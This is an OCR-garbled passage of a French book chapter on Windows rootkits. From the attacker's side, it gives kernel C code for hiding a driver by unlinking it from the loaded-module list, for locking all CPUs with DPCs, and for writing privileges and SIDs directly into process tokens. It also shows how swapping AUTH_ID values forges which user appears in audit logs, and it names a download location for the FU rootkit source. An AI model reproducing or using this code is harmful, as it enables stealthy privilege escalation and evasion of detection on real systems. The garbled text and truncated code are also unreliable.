utiliser pour lister les drivers dun systme. Dautres outils, tels que le Gestionnaire de
priphriques, ou WDM (Windows Device Manager), permettent galement dafficher
des informations sur les drivers. Outre ces outils, de nombreux fabricants tiers
fournissent leurs propres utilitaires.
Tous ces outils sappuient sur la fonction de noyau ZwQuerySystemlnformation. Cette
fonction, avec une valeur 11 pour le paramtre SYSTEM_INFORMATION_CLASS,
202 Rootkits
retourne la liste des modules chargs dans le noyau. Si vous avez lu les chapitres
prcdents, cette fonction devrait vous sembler familire. Cest elle qui a t hooke
au Chapitre 4 dans la section sur le hooking de la table SSDT pour dissimuler des
processus, sauf que nous recherchions une classe dune autre catgorie.
Dans cette section, nous allons vous mettre dans la peau dun attaquant modifiant la
liste doublement chane de modules chargs, qui inclut votre rootkit, en utilisant la
technique DKOM sans hook du noyau, comme nous lavons fait dans la section
prcdente.
Lobjet MODULE_ENTRY est utilis par le noyau pour garder trace des drivers en mmoire.
Notez que le premier membre de la structure est de type LIST_ENTRY. Nous avons vu
prcdemment comment de telles entres fonctionnent et comment les altrer pour
faire disparatre un lment de la chane.
// Entre de module non documente dans la mmoire du noyau
//
typedef struct _MODULE_ENTRY {
LIST_ENTRY module_list_entry;
DWORD unknownl[4];
DWORD base;
DWORD driver_start;
DWORD unknown2;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
Il...
} MODULE_ENTRY, *PMODULE_ENTRY;
Lastuce consiste ici trouver la liste chane. Dans le cas des processus, cest une
opration simple car vous pouvez toujours obtenir le bloc EPROCESS du processus
courant en appelant PsGetCurrentProcess. En revanche, il ny a pas dappel de ce
genre pour obtenir la liste des drivers.
Certains ont tent de la rechercher en mmoire, mais cette solution est loin dtre
optimale. Lorsque lon inspecte la mmoire pour essayer de trouver des fonctions qui
rfrencent la liste, il est courant dutiliser une signature. Toutefois, ces fonctions
changent selon le systme dexploitation. Dans Windows XP et les versions
ultrieures, le bloc KPRCB (Kernel Processor Control Block) contient des
informations supplmentaires au sein desquelles vous pouvez localiser la liste des
drivers, mais ce nest pas une solution viable si votre rootkit est install sur des
versions antrieures du systme dexploitation.
Chapitre 7
Nous avons labor une mthode qui permet de trouver lemplacement de cette liste. A
laide de WinDbg, nous pouvons afficher les membres de la structure DRIVER OBJECT.
Les voici :
typedef struct _DRIVER_OBJECT {
short Type;
// Int2B
short Size;
// Int2B
PVOID DeviceObject;
// Ptr32 _DEVICE_OBJECT
DWORD Flags;
// Uint4B
PVOID DriverStart;
// Ptr32 Void
DWORD DriverSize;
// Uint4B
PVOID DriverSection;
// Ptr32 Void
PVOID DriverExtension;
// Ptr32 DRIVER EXTENSION
UNICODE STRING DriverName;
//
UNICODE STRING
UNICODE STRING HardwareDatabase; // Ptr32 UNICODE STRING
PVOID FastloDispatch;
// Ptr32 FAST 10 DISPATCH
PVOID Driverlnit;
// Ptr32
PVOID DriverStartlo; // Ptr32 PVOID DriverUnload; //
Ptr32 PVOID MajorFunction // [28] Ptr32 } DRIVER_OBJECT,
*PDRIVER_OBJECT;
Lun des champs non documents de cette structure est un pointeur vers la structure
MODULE_ENTRY du driver. Il est loffset 0x14 dans DRIVER_OBJECT, ce qui ferait de lui le
membre DriverSection de cette structure. En chargeant votre rootkit laide du
Gestionnaire de contrle de services (SCM), vous obtenez toujours un pointeur vers
lobjet DRIVER_OBJECT dans la fonction DriverEntry. Le code suivant illustre comment
trouver une entre arbitraire dans la liste des modules actifs :
DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
PMODULE_ENTRY pm_current; if (DriverObject == NULL)
return 0;
// Drfrence l'offset 0x14 dans l'objet driver.
// Vous devriez maintenant avoir l'adresse d'une entre de module.
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14)); if
(pm_current == NULL) return 0;
gul_PsLoadedModuleList = pm_current; return (DWORD) pm_current;
}
Une fois que vous avez trouv une entre dans la liste de modules, vous pouvez
parcourir la liste jusqu ce que vous trouviez le driver dissimuler. Ensuite, cest juste
une affaire de changement des pointeurs de voisinage FLINK et BLINK, comme
204 Rootkits
{
if ((pm_current->unk1 != 0x00000000) && (pm_current->driver_Path.Length !=
0)
{ // Compare le nom de la cible celui de chaque driver
if (RtlCompareUnicodeString(&uni_hide_DriverName, & ^(pm_current>driver_Name),
FALSE) == 0)
{ // Modifie les voisins
*((PDWORD)pm_current->le_mod.Blink)=(DWORD)
*pm_current->le_mod.Flink;
pm_current->le_mod.Flink->Blink = pm_current->le_mod.Blink; break;
}
} // Avance dans la liste
pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;
Figure 7.3
La liste des entres
de drivers dans la
liste doublement
chane.
Chapitre 7
Dans lextrait de code prcdent, pm current est utilis pour parcourir la liste et
rechercher le driver dissimuler, uni_hide_DriverName. Pour chaque module dans la
liste, la chane Unicode cible est compare celle qui est analyse dans la liste. Si les
noms correspondent, les pointeurs FLINK et BLINK des structures MODULE_ENTRY
contigus sont modifis.
Dans cet exemple, nous napportons aucun changement au module dissimul comme
nous lavons fait pour le processus. Cest un choix discutable qui repose sur le fait que
les drivers ne sont gnralement pas chargs et dchargs comme des processus. La
modification nest donc probablement pas requise.
Notez que la fonction qui compare les chanes Unicode doit tre appele au niveau
PASSIVE_LEVEL. Limportance de ce point est examine dans la section suivante.
Question de synchronisation
Parcourir la liste chane des processus actifs en utilisant directement la structure
EPROCESS est une opration dlicate, comme lest celle dinspection de la liste des
modules chargs. Les processus peuvent tre crs et dtruits par le noyau pendant que
le contexte du rootkit est en attente ou par un autre processeur si le rootkit est sur un
systme multiprocesseur. De mme, un driver peut aussi tre dcharg pendant que le
contexte du rootkit attend de pouvoir sexcuter.
Pour parcourir la liste des processus dune manire scurise, votre rootkit devrait
rcuprer le mutex appropri, PspActiveProcessMutex. Ce mutex nest pas export par
le noyau. Cest PsLoadedModuleResource qui contrle laccs la liste des drivers.
Une faon de trouver ces symboles, ou dautres, qui ne sont pas exports est
dinspecter la mmoire pour rechercher une squence particulire. Cette solution nest
pas trs lgante mais des preuves empiriques ont suggr sa viabilit. Linconvnient
dexplorer la mmoire est que la squence recherche est trs dynamique et diffre
mme avec la plus faible variation du systme dexploitation.
La traverse et la modification de ces listes deviennent prilleuses seulement en cas de
premption, lorsque le rootkit est mis en attente par lentre en activit dun autre
thread dans un autre processus. Cest le dispatcheur de noyau qui est responsable de
cette gestion, et il sexcute avec un IRQL DISPATCH LEVEL. Par consquent, si un
thread est excut avec ce mme niveau, il ne devrait pas tre touch
206 Rootkits
DISPATCH_LEVEL :
Vous devez maintenant lever lIRQL de tous les autres processeurs. Pour notre
objectif, nous utiliserons un appel diffr, ou DPC (Deferred Procedure Call).
Chapitre 7
PKDPC GainExclusivity()
{
NTSTATUS ns;
ULONG u_currentCPU;
CCHAR i;
PKDPC pkdpc, temp_pkdpc;
if (KeGetCurrentIrql() != DISPATCH_LEVEL) return NULL;
// Initialise les deux variables globales zro
InterlockedAnd(&AllCPURaised, 0);
InterlockedAnd(&NumberOfRaisedCPU, 0);
// Alloue de la place pour nos DPC. En mmoire NonPagedPool !
temp_pkdpc = (PKDPC) ExAllocatePool(NonPagedPool, KeNumberProcessors *
sizeof(KDPC));
208 Rootkits
if (temp_pkdpc == NULL)
return NULL; //STATUS_INSUFFICIENT_RESOURCES;
u_cunrentCPU = KeGetCurrentProcessorNumber(); pkdpc
= temp_pkdpc;
for (i = 0; i < KeNumberProcessors; i++, *temp_pkdpc++)
{
// Veillez ne pas planifier de DPC sur le // processeur
courant. Ceci provoquerait un deadlock. if (i !=
u_currentCPU)
{
KeInitializeDpc(temp_pkdpc,
RaiseCPUIrqlAndWait,
NULL);
// Dfinit le processeur cible pour le DPC. L'appel serait sinon //
plac dans la file d'attente du processeur courant // lors de l'appel
de KelnsertQueueDpc. KeSetTargetProcessorDpc(temp_pkdpc, i);
KeInsertQueueDpc(temp_pkdpc, NULL, NULL);
}
}
while(InterlockedCompareExchange(&NumberOfRaisedCPU,
KeNumberProcessors-1,
KeNumberProcessors-1)
KeNumberProcessors-1)
!=
{
_ asm nop;
}
return pkdpc; //STATUS_SUCCESS;
//
PKDPC
PVOID
PVOID
PVOID
Dpc,
DeferredContext,
SystemArgumentl,
SystemArgument2)
Chapitre 7
{
InterlockedIncrement(&NumberOfRaisedCPU);
while(!InterlockedCompareExchange(&AllCPURaised, 1, 1))
{
_ asm nop;
}
InterlockedDecrement(&NumberOfRaisedCPU);
}
Votre rootkit peut maintenant modifier la liste partage de processus ou de drivers.
Lorsque vous avez fini votre travail, le thread principal du rootkit doit appeler
ReleaseExclusivity pour librer tous les DPC de leur petite boucle ainsi que la
mmoire qui aura t alloue par GainExclusivity pour contenir les objets DPC.
NTSTATUS ReleaseExclusivity(PVOID pkdpc)
{
Interlockedlncrement(&AllCPURaised); // Chaque DPC dcrmente
^maintenant
// le compteur et quitte.
// Libre la mmoire alloue pour contenir les DPC
while(InterlockedCompareExchange(&NumberOfRaisedCPU, 0, 0))
{
__asm nop;
}
if (pkdpc != NULL)
{
ExFreePool(pkdpc);
pkdpc = NULL;
}
return STATUS_SUCCESS;
}
Les informations de cette section vous ont permis de comprendre comment vous
dtacher de LIST_ENTRY facilement et avec une bonne scurit pour le thread. Un
processus dissimul nest toutefois pas trs utile sil ne possde pas le niveau de
privilges ncessaire pour raliser ce pour quoi il a t prvu. Dans la prochaine
section, vous apprendrez augmenter les privilges de nimporte quel jeton daccs
ainsi qu ajouter nimporte quel groupe au jeton.
210 Rootkits
Pour localiser le jeton, nous invoquons la fonction FindProcessEPROC vue plus haut la
section "Dissimulation de processus" afin de trouver ladresse de la structure EPROCESS
du processus dont le rootkit va modifier le jeton et ajoutons cette adresse loffset du
pointeur de jeton. Le rsultat sera lemplacement contenant ladresse du jeton dans
EPROCESS. Cet offset varie selon les versions de Windows, comme indiqu au Tableau
7.2.
Offset du
pointeur de
jeton
Windows XP
0xC8
Windows XP SP2
0xC8
Windows 2003
0xC8
Le membre de EPROCESS qui contient ladresse du jeton a chang entre Windows 2000
(et les versions antrieures) et la nouvelle version de Windows XP
Chapitre 7
_EX_FAST_REF
qui est
};
} EX_FAST_REF, *PEX_FAST_REF;
)
eproc;
T0KEN0FFSET; ; // Offset du pointeur de
[eax];
0xfffffff8; // Voir la dfinition de
, eax ;
}
return token;
}
Notez que dans ce code assembleur en ligne nous laissons de ct les trois bits de
poids faible de ladresse du jeton grce linstruction and eax, fffffffs. En effet,
les adresses de jeton se terminent toujours avec les trois bits de poids faible 0. Par
consquent, bien que le membre reprsentant ladresse ait chang, nous pouvons
toujours rcuprer ladresse et il ny aura aucune incidence si nous changeons les
trois derniers bits sur les anciennes versions du systme dexploitation.
Modifier un jeton
Les jetons sont trs difficiles modifier. Ils sont composs dune partie statique qui,
comme son nom lindique, ne change pas de taille et possde une structure bien
dfinie et dune partie variable qui est nettement moins prvisible et contient tous les
privilges et SID appartenant au jeton. Le nombre exact de privilges et de SID
diffre selon les lments didentification de lutilisateur qui a gnr le processus (ou
de lutilisateur dont le processus usurpe lidentit). Vous comprendrez mieux le code
prsent plus loin en ayant lesprit la structure dun jeton (voir Figure 7.4).
Plusieurs offsets sont ncessaires pour modifier le jeton. Les plus importants sont
donns au Tableau 7.3. Par exemple, pour ajouter au jeton un privilge ou un SID de
groupe, il faut incrmenter le compteur correspondant dans la partie statique.
212 Rootkits
Figure 7.4
JETON
Structure mmoire
d'un jeton de
processus.
Partie statique
Privilges
LUID
Attribut
LUID
Attribut
LUID
Attribut
LUID
Attribut
i- P_SID
Attribut
P_SID
Groupes
Attribut
P_SID
Attribut
Partie variable
SID
SID
SID
Comme voqu prcdemment, tous les privilges et SID sont stocks dans la partie
variable puisque leur taille peut changer dun jeton lautre. Un des offsets du jeton
contient ladresse de cette partie et sa taille.
Tableau 7.3 : Offsets importants dans le jeton du processus
Windows NT Windows 2000
Offset de
AUTHJD
Windows XP
0X18
0x18
0x18
0x18
0x18
0x30
0x3C
0x40
0x4C
0x4C
0x48
0x58
0x5C
0x68
0x68
0x34
0x44
0x48
0x54
0x54
0x50
0x64
0x68
0x74
0x74
Offset du
compteur de SID
Offset de ladresse
du SID
Offset du
compteur de
privilges
Offset de ladresse
du privilge
Chapitre 7
Pour ajouter des privilges ou en activer qui taient dsactivs, nous pouvons employer
un programme de niveau utilisateur pour envoyer des commandes IOCTL au rootkit.
Une portion de code utilisateur est ici trs utile car nombre des fonctions de lAPI
Win32 relatives aux jetons, privilges et SID ne sont pas documentes dans le noyau.
Le rootkit en mode noyau reoit les informations de privilges de la part du
programme utilisateur et les crit directement dans la mmoire du jeton. Souvenezvous que, comme nous ne passons pas par le Gestionnaire dobjets de Windows pour
crire en mmoire, nous pouvons assigner au jeton tous les privilges et groupes que
nous voulons.
Avant dindiquer au rootkit quels privilges ajouter ou activer dans un processus
donn, vous devez en apprendre un peu plus sur les privilges dun processus. Voici
certains des privilges lists dans le fichier den-tte Ntddk. h ( noter quils ne sont
pas tous applicables des processus) :
H SeCreateTokenPrivilege ;
B SeAssignPrimaryTokenPrivilege ;
B SeLockMemoryPrivilege ;
B SelncreaseQuotaPrivilege ;
B SeUnsolicitedlnputPrivilege ;
S SeMachineAccountPrivilege ;
B SeTcbPrivilege ;
B SeSecurityPrivilege ;
B SeTakeOwnershipPrivilege ;
S SeLoadDriverPrivilege ;
B SeSystemProfilePrivilege ;
B SeSystemtimePrivilege ;
H SeProfileSingleProcessPrivilege ;
214 Rootkits
B SelncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege ;
M SeCreatePermanentPrivilege ;
SeBackupPrivilege ;
SeRestorePrivilege ;
0 SeShutdownPrivilege ;
SeDebugPrivilege ;
H!SeAuditPrivilege ;
H SeSystemEnvironmentPrivilege ;
B SeChangeNotifyPrivilege ;
B SeRemoteShutdownPrivilege
B SeUndockPrivilege ;
B SeSyncAgentPrivilege ;
3 SeEnableDelegationPrivilege ;
Nous pouvons utiliser loutil Process Explorer de Sysinternals1 pour visualiser les
privilges courants dun processus. Remarquez la Figure 7.5 que de nombreux
privilges sont dsactivs par dfaut.
Le fait que de nombreux privilges soient dsactivs par dfaut lors de la cration dun
jeton est commode pour lui ajouter des privilges et des groupes. La raison est quil
faut tre extrmement prudent quand on crit directement en mmoire. La taille du
jeton ne doit pas augmenter car on ne sait pas ce que la mmoire contient
immdiatement aprs. Cette zone de mmoire nest peut-tre mme pas valide. En
activant ou en crasant des privilges dj prsents dans le jeton, cela vite
daugmenter sa taille. Nous reviendrons sur ce point dans un moment.
Chapitre 7
Figure 7.5
Les paramtres de
scurit contenus dans le
jeton d'un processus.
Rootkit.com
Vous pouvez tlcharger le code suivant sous la forme du rootkit FU
partir de www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip .
La plupart des codes source de ce chapitre sont galement
disponibles sur ce site.
{
int i = 25;
if (argc >
1 )
{
if (InitDriver() == -1) return;
if (strcmp((char *)argv[1], -prl") == 0)
ListPrivf);
else if (strcmp((char *)argv[1], "-prs") == 0)
{
char *priv_array = NULL;
DWORD pid = 0; if (argc > 2)
pid = atoi(argv[2]);
priv_array = (char *)calloc(argc-3, 32);
if (priv_array == NULL)
{
fprintf(stderr, "Failed to allocate memory!\n");
return;
}
int size = 0;
for(int i = 3; i < argc; i++)
{
if(strncmp(argv[i], "Se", 2) == 0)
{
strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);
size++;
}
}
SetPrivfpid, priv_array, size*32);
if(priv_array) free(priv_array);
}
Le code prcdent vrifie que le nom de chaque privilge ajout dbute bien par Se,
ce qui doit tre le cas pour tout privilge valide. Puis nous copions les nouveaux
privilges valides dans un tableau et invoquons la fonction SetPriv, qui
communiquera avec le driver du rootkit via une commande IOCTL.
La fonction SetPriv alloue et initialise un tableau dlments LU ID_AND_ATTRIBUTES
passer au driver. Chacun des privilges de la liste prsente plus haut dans cette
section possde un identifiant LUID (Locally Unique Identifier). Etant donn que ces
LUID sont uniques seulement localement, nous ne pouvons pas les coder en dur dans
le rootkit. La fonction LookupPrivilegeValue reoit le nom du systme (ici NULL) sur
lequel rechercher la valeur de privilge, le nom du privilge pass par le programme
utilisateur en ligne de commande et un pointeur pour recevoir la valeur LUID. Le
SDK (Software Development Kit) donne du LUID la dfinition suivante : "Valeur de
64 bits garantie comme tant unique
Chapitre 7
seulement sur le systme sur lequel elle a t gnre." A noter quelle peut aussi
changer si lordinateur est redmarr.
Les attributs dfinissent si le privilge associ un LUID donn est activ ou
dsactiv. Le simple fait quun privilge soit prsent dans un jeton ne signifie pas que
ce dernier possde ce privilge. Un privilge peut se trouver dans lun des trois tats
suivants, tel que spcifi par son attribut :
#define SE_PRIVILEGE_DISABLED
(0X00000000L)
#define SE_PRIVILEGE_ENABLED_BY_DEFAULT
(0X00000001L)
#define SE_PRIVILEGE_ENABLED
(0X00000002L)
Voici un exemple de la structure LUID_AND_ATTRIBUTES :
typedef Struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;
{
DWORD d_bytesRead;
DWORD success;
PLUID_AND_ATTRIBUTES pluid_array;
LUID pluid;
VARS dvars;
if ( ! Initialized)
return ERROR_NOT_READY; if (priv_luids == NULL)
return ERROR_INVALID_ADDRESS; pluid_array =
(PLUID_AND_ATTRIBUTES) calloc(priv_size/32,
sizeof(LUID_AND_ATTRIBUTES)); if (pluid_array == NULL)
return ERROR_NOT_ENOUGH_MEMORY;
DWORD real_luid = 0;
for (int i = 0; i < priv_size/32; i++)
{
if(LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32),
&pluid))
{
memcpy(pluid_array+i, &pluid, sizeof(LUID));
*(pluid_array+i)).Attributes
=
SE_PRIVILEGE_ENABLED_BY_DEFAULT;
real_luid++;
218 Rootkits
&d_bytesRead,
NULL) ;
if(pluid_array)
free(pluid_array);
return success;
}
Le code du noyau contient le gestionnaire de la commande IOCTL_ROOTKIT_SETPRIV. Il
reoit le tableau dlments LUID_AND_ATTRIBUTES et le PID du processus auquel les
privilges doivent tre ajouts. Il invoque FindProcess- EPROC pour localiser la
structure EPROCESS correspondant au PID puis Find- ProcessToken pour localiser
ladresse du jeton du processus.
Maintenant que nous disposons du jeton, nous devons obtenir la taille du tableau
LUID_AND_ATTRIBUTES quil inclut. Pour cela, nous lisons la valeur qui se trouve
loffset du compteur de privilges. Cette valeur est trs importante et sera utilise dans
les boucles FOR du code qui va suivre.
Ensuite, nous rcuprons ladresse du dbut du tableau dlments LUID AND
ATTRIBUTES. Souvenez-vous quun jeton est constitu dune partie de longueur fixe et
dune partie de longueur variable. Le dbut de ce tableau correspond au dbut de la
partie variable. Les deux parties sont contigus en mmoire.
Avec ladresse du tableau dans le jeton, le compteur de privilges et les nouvelles
valeurs LUID_AND_ATTRIBUTES ajouter, nous pouvons continuer examiner le code du
rootkit. Comme il a t dit, nous ne pouvons pas allouer de mmoire pour les
nouveaux privilges, et nous ne pouvons pas agrandir le jeton (puisque la mmoire
adjacente lemplacement du jeton risque de ne pas tre valide).
Comme vous avez pu le voir dans le rsultat de Process Explorer la Figure 7.5, une
majorit des privilges prsents dans un jeton typique sont dsactivs. Lide est
dactiver un privilge existant sil correspond lun de ceux contenus dans le tableau
dlments LUID_AND_ATTRIBUTES pass au rootkit et de remplacer un privilge dsactiv
qui ne figure pas dans le nouveau tableau par un privilge ajouter.
Chapitre 7
A cette fin, nous crons deux ensembles de boucles FOR imbriques. Le premier
examine chaque privilge pass au rootkit et, sil correspond un privilge qui existe
dj dans le jeton, dfinit ce dernier comme tant activ. Le second est utilis lorsque
le privilge nest pas prsent dans le jeton mais quil y a dautres privilges dsactivs
pouvant tre remplacs. Grce cette mthode, nous pouvons ajouter des privilges
sans utiliser plus de mmoire.
// Si le privilge ajouter existe dj dans le jeton, nous modifions //
simplement son champ d'attribut.
for (luid_attr_count = 0; luid_attr_count < d_PrivCount; luid_attr_count++)
{
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)
{
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(memcmp(&luids_attr_orig[luid_attr_count].Luid,
&luids_attr[d_LuidsUsed].Luid, sizeof(LUID)) == 0))
{
(PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes =
0xffffffff;
}
}
}
// Aucun des nouveaux privilges ne se trouve dj dans le jeton,
// aussi nous remplaons des privilges dsactivs.
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)
{
if (((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes !=
0xffffffff)
{
for (luid_attr_count = 0; luid_attr_count < d_PrivCount;
luid_attr_count++)
{
// Si le privilge tait dsactiv, c'est qu'il n'tait pas // requis.
Nous rutilisons donc son espace pour un // nouveau privilge. Nous ne
pounrons peut-tne pas ajouter // tous les privilges voulus en raison
de limitations d'espace,
// aussi nous les organisons par ordre d'importance dcroissante,
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count]. Attributes
== 0x00000000))
{
((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Luid =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Luid;
220 Rootkits
((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes =
0xffffffff;
break;
Lajout de SID un jeton est la modification la plus difficile qui soit. En raison des
limitations despace voques prcdemment, nous devons nous en tenir au
remplacement de privilges dsactivs par les nouveaux SID.
En plus de contenir les SID eux-mmes, un jeton de processus inclut aussi dautres
dinformations les concernant, telles quun tableau de structures SID_AND_ATTRIBUTES
qui ressemble au tableau de privilges. Le premier membre de cette structure est
simplement un pointeur vers le SID en mmoire. Pour introduire un nouveau SID dans
un jeton, il faut ajouter une entre au tableau dlments SID AND ATTRIBUTES, ajouter
le SID lui-mme et recalculer tous les pointeurs du tableau pour reflter le changement
opr en mmoire.
Voici une structure SID_AND_ATTRIBUTES
Pour faire les choses proprement, il convient dutiliser un espace de travail en mmoire
de la mme taille que la partie variable du jeton. Cet espace peut tre allou dans le
pool pagin. Lorsque nous aurons termin, nous le copierons dans la partie variable
existante du jeton puis librerons la mmoire. Nous allons avoir besoin des compteurs
de privilges et de SID, de lemplacement des tableaux de privilges et de SID et du
dbut et de la taille de la partie variable du jeton.
A partir de ladresse du jeton, le code suivant initialise les variables requises et alloue
lespace de travail ;
i_PrivCount = *(int *)(token + PRIVCOUNTOFFSET); i_SidCount = *(int
*)(token + SIDCOUNTOFFSET);
luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET); varbegin
= (PVOID) luids_attr_orig;
i_VariableLen = *(int *)(token + PRIVCOUNTOFFSET + 4);
Chapitre 7
{
IoStatUS->StatUS = STATUS_INSUFFICIENT_RESOURCES;
break;
}
RtlZeroMemory(varpart, i_VariableLen);
{
if(((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes !=
SE_PRIVILEGE_DISABLED)
{
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Luid =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Luid;
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Attributes =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes;
i_Luids(Jsed++;
}
}
// Calcule l'espace requis dans le jeton i_spaceNeeded = i_SidSize +
sizeof(SID_AND_ATTRIBUTES);
222 Rootkits
{
ExFreePool(varpart);
IoStatUS->StatUS = STATUS_INSUFFICIENT_RESOURCES;
break;
}
Le code suivant copie dans lespace temporaire toutes les structures SID_AND_ATTRIBUTES existantes. La boucle FOR parcourt le tableau et rectifie comme il se doit les
pointeurs de SID :
RtlCopyMemory((PVOID)((DWORD)varpart+i_spacetlsed),
(PVOID)((DWORD)varbegin + (i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))), i_SidCount *
Sizeof(SID_AND_ATTRIBUTES));
for (sid_count = 0; sid_count < i_SidCount; sid_count++)
{
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count].Sid =
(PSID)(((DWORD) sid_ptr_old[sid_count].Sid) - ((DWORD) i_spaceSaved) +
((DWORD)sizeof(SID_AND_ATTRIBUTES)));
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count]
.Attributes = sid_ptr_old[sid_count].Attributes;
}
Il nous reste encore dfinir les nouvelles entres SID AND ATTRIBUTES en assignant au
champ dattribut la valeur 0x00000007 afin de rendre les nouveaux SID obligatoires.
Comme nous ajoutons les SID aprs ceux existants, nous devons calculer la taille du
dernier SID. Pour cela, nous partons de ladresse de dbut de ce SID, que nous
trouvons dans la dernire entre SID_AND_ATTRIBUTES, et la soustrayons de la taille
totale de la partie variable du jeton (en ignorant la prsence ventuelle de SID
restreints). A partir de cette taille, nous pouvons calculer la valeur du pointeur du
nouveau SID :
// Dfinit la nouvelle entre SID_AND_ATTRIBUTES SizeOfLastSid =
(DWORD)varbegin + i_VariableLen;
SizeOfLastSid = SizeOfLastSid - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[i_SidCount-1 ].Sid;
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Sid =
(PSID)((DWORD)((PSID_AND_ATTRIBUTES)
((DWORD)varpart+(i_spaceUsed)))[i_SidCount-1].Sid + SizeOfLastSid);
( (PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount] .Attributes
= 0x00000007 ;
Chapitre 7
Nous copions maintenant lespace de travail, varpart, dans le jeton, aprs quoi ce
dernier contiendra tous les privilges activs et toutes les entres SID_AND_ATTRIBUTES
existantes. Ensuite, nous copierons les nouveaux SID la suite :
// Copie les anciens SID mais fait de la place pour les nouveaux SizeOfOldSids
= (DWORD)varbegin + i_VariableLen;
SizeOfOldSids = SizeOfOldSids - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[0].Sid;
RtlCopyMemory((VOID UNALIGNED *)((DWORD)varpart +
(i_spaceUsed)+((i_SidCount+1)*
Sizeof (SID_AND_ATTRIBUTES))),
(CONST VOID UNALIGNED*)
((DWORD)varbegin+(i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))+(i_SidCount*
sizeof(SID_AND_ATTRIBUTES))), SizeOfOldSids);
// Copie le nouveau contenu sur l'ancien RtlZeroMemory(varbegin,
i_VariableLen);
RtlCopyMemory(varbegin, varpart, i_VariableLen);
// Copie les nouveaux SID la suite des anciens
RtlCopyMemory(((PSID_AND_ATTRIBUTES)((DWORD)varbegin +
(i_spaceUsed)))[i_SidCount].Sid, psid, i_SidSize);
Comme ultime tape, nous devons rectifier les compteurs et les pointeurs dans la partie
statique du jeton et librer la mmoire de lespace de travail. Etant donn que le
nombre de SID et de privilges a chang dans le jeton, il faut modifier leurs offsets.
Lemplacement du tableau dlments LUID_AND_ATTRIBUTES ne change pas car il se
trouve au dbut de la partie variable, mais le pointeur vers le tableau dlments
SID_AND_ATTRIBUTES doit tre actualis puisque nous avons dplac ce dernier en
mmoire :
// Apporte les dernires modifications au jeton *(int *)(token +
SIDCOUNTOFFSET) += 1;
*(int *)(token + PRIVCOUNTOFFSET) = i_LuidsUsed;
*(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET) =
(PSID_AND_ATTRIBUTES)((DWORD) varbegin + (i_spaceUsed));
ExFreePool(varpart); break;
224 Rootkits
0x000003e7; //
0x000003e6; //
0x000003e5; //
0x000003e4; //
{ 0x3e7, 0x0 }
{ 0x3e6,0x0 }
{ 0x3e5, 0x0 }
{ 0x3e4, 0x0 }
Vous pouvez remplacer le AUTH_ID de nimporte quel processus par un de ces LUID
connus. Les AUTH_ID sont uniques pour chaque connexion ou session. Le systme
les utilise parfois pour associer un nombre une session laquelle est dj associ un
nom.
ATTENTION -------------------------------------------------------------------------------------------------------------------
Soyez prudent lorsque vous modifiez le AUTHJD d'un jeton de processus. Si vous le remplacez
par un LUID pour lequel il n'existe pas de session, vous provoquerez un cran bleu.
Chapitre 7
Lorsque le suivi dtaill des processus a t activ, un vnement sera enregistr dans
le journal pour chaque processus cr, ressemblant ce qui est illustr la Figure 7.6.
Figure 7.6
Dans la section de description de la figure, on peut voir que lutilisateur qui a ouvert la
session est ladministrateur, que le domaine est F1BG-W2KS-0 et que lidentifiant de
session (cest--dire lAUTH_ID) est 0x,0x1066C. Cette entre du journal rvle que
ladministrateur (cette identit est obtenue partir de lAUTHJD) a lanc le processus
Regedt32. exe.
226 Rootkits
par le SID du processus System. Le SID propritaire est le premier SID de la liste. La
section prcdente a expliqu comment changer des SID. Nous lanons de nouveau
Regedt32.exe partir de linvite de commande. Lentre rsultante est prsente la
Figure 7.7. Cette fois, lObservateur dvnements affiche des informations diffrentes.
Dans la section de description, lutilisateur est maintenant HBG-W2KS-0$, soit un
alias pour le processus System, et lidentifiant de session est identique la valeur
AUTH_ID que nous avons spcifie. A laide de cette technique, le rootkit peut donner
limpression que nimporte quel processus appartient un autre utilisateur.
Figure 7.7
Chapitre 7
Conclusion
Dans ce chapitre, vous avez dcouvert comment modifier certains des objets dont le
noyau dpend pour assurer ses fonctions de comptabilisation et de reporting. Le rootkit
